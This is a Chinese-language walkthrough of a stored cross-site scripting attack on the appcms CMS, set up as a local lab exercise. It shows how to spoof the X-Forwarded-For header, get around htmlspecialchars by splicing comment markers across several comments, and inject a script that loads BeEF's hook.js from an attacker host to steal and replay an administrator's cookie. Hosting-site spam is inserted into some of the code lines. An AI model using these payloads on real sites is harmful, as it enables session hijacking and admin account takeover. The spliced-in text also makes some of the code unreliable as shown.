一、环境
gethub上面自己找appcms-master
二、分析一下源码以及闯关思路
首先是有一个函数循环以及函数过滤,我们的post会将我们所传的所有val值去进行一个循环,之后通过htmlspecialchars这个函数进行过滤和转换所以val值不能通过单双引号闭合注入的方式去做
我们可以看到在getip中有三种传递方式
其中的HTTP_CLIENT_IP和HTTP_X_FORWARDED_FOR我们都可以去进行伪装,我们现在伪装HTTP_X_FORWARDED_FOR这个参数
我们通过打印看一下它是如何去传的ip(因为断点无法传递这里的问题我现在也没找到程序太老了???)
我们把打印换到引用代码的地方,可以见得是正常的打印了出来,且走到我们的打印函数里面了
那现在我们就要思考了。既然HTTP_X_FORWARDED_FOR可以进行伪造的话,那怎么去处理隐伪呢?接下来我们抓包去看
可以看到我们的数据成功插入了
那两个都入了且拼接了 ,之后我们再次执行,补充另外半个/*
之后管理员点击后台评论就可以实现自动弹窗了
我们通过三次拼接就可以达到插入最后弹窗如上
/**/alert(1)/**/
而重要的是alert并没有偷走我们管理员的cookie,现在我们需要思考的是如何偷管理员cookie????(我们可以使用img的方法)
在这里我们使用kill里面的beff软件,正常下载,看了一篇文章讲解的挺细致的
【beef工具-01】神器beef的安装与简介-CSDN博客
我上面花出的这三个网站的意思很重要!!!
Web界面管理控制台:http://127.0.0.1:3000/ui/panel(用于查看上钩的鱼儿以及对不同的目标进行管理操作)
shellcode探针:http://127.0.0.1:3000/hook.js,只要有人运行该文件,就会在管理控制台上线(上钩)。
测试网址:http://127.0.0.1:3000/demos/butcher/index.html,只要有人访问该网站,也会在管理控制台上线(上钩)。
接下来我们要用的就是hook.js这个文件
我们首先创建一个demo2.html这个文件来进行测试
Document
var imgElement = document.createElement('img');
imgElement.style.display = 'none';
服务器托管网 imgElement.src = "http://192.168.170.141:3000/hook.js"
document.body.appendChild(`imgElement`)
我们可以很清楚的看到是正常访问到了
那我们现在就要考虑在刚才的情况下我们如何盗取cookie,将我们刚才的HTML代码跟我们上面一样去评论区传入,数据库最终如下
再传一个闭合最终
我们去管理界面下看是否访问到hook.js
经过我多次尝试,刚才那种情况我们beef接收不到,img好像传递不了????但是确实是正常访问的
更改一下,可以重新抓包也可以数据库直接更新
"*/var scriptElemet = document.createElement('script');sc服务器托管网riptElemet.src = 'http://192.168.170.141:3000/hook.js';document.body.appendChild(scriptElemet);/*"
很明显我们偷到cookie了
去登录页面删掉cookie
利用cookie直接登录
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
优质内容:ChatGPT太炸裂了 hello,我是小索奇 很多人在使用ChatGPT时遇到了两个主要问题,导致他们觉得这个工具并没有带来太多实际价值。首先,许多人发现ChatGPT的回答缺乏深度,缺乏实用性。其次,一些人在使用过程中感到无所适从,不知道如何充分…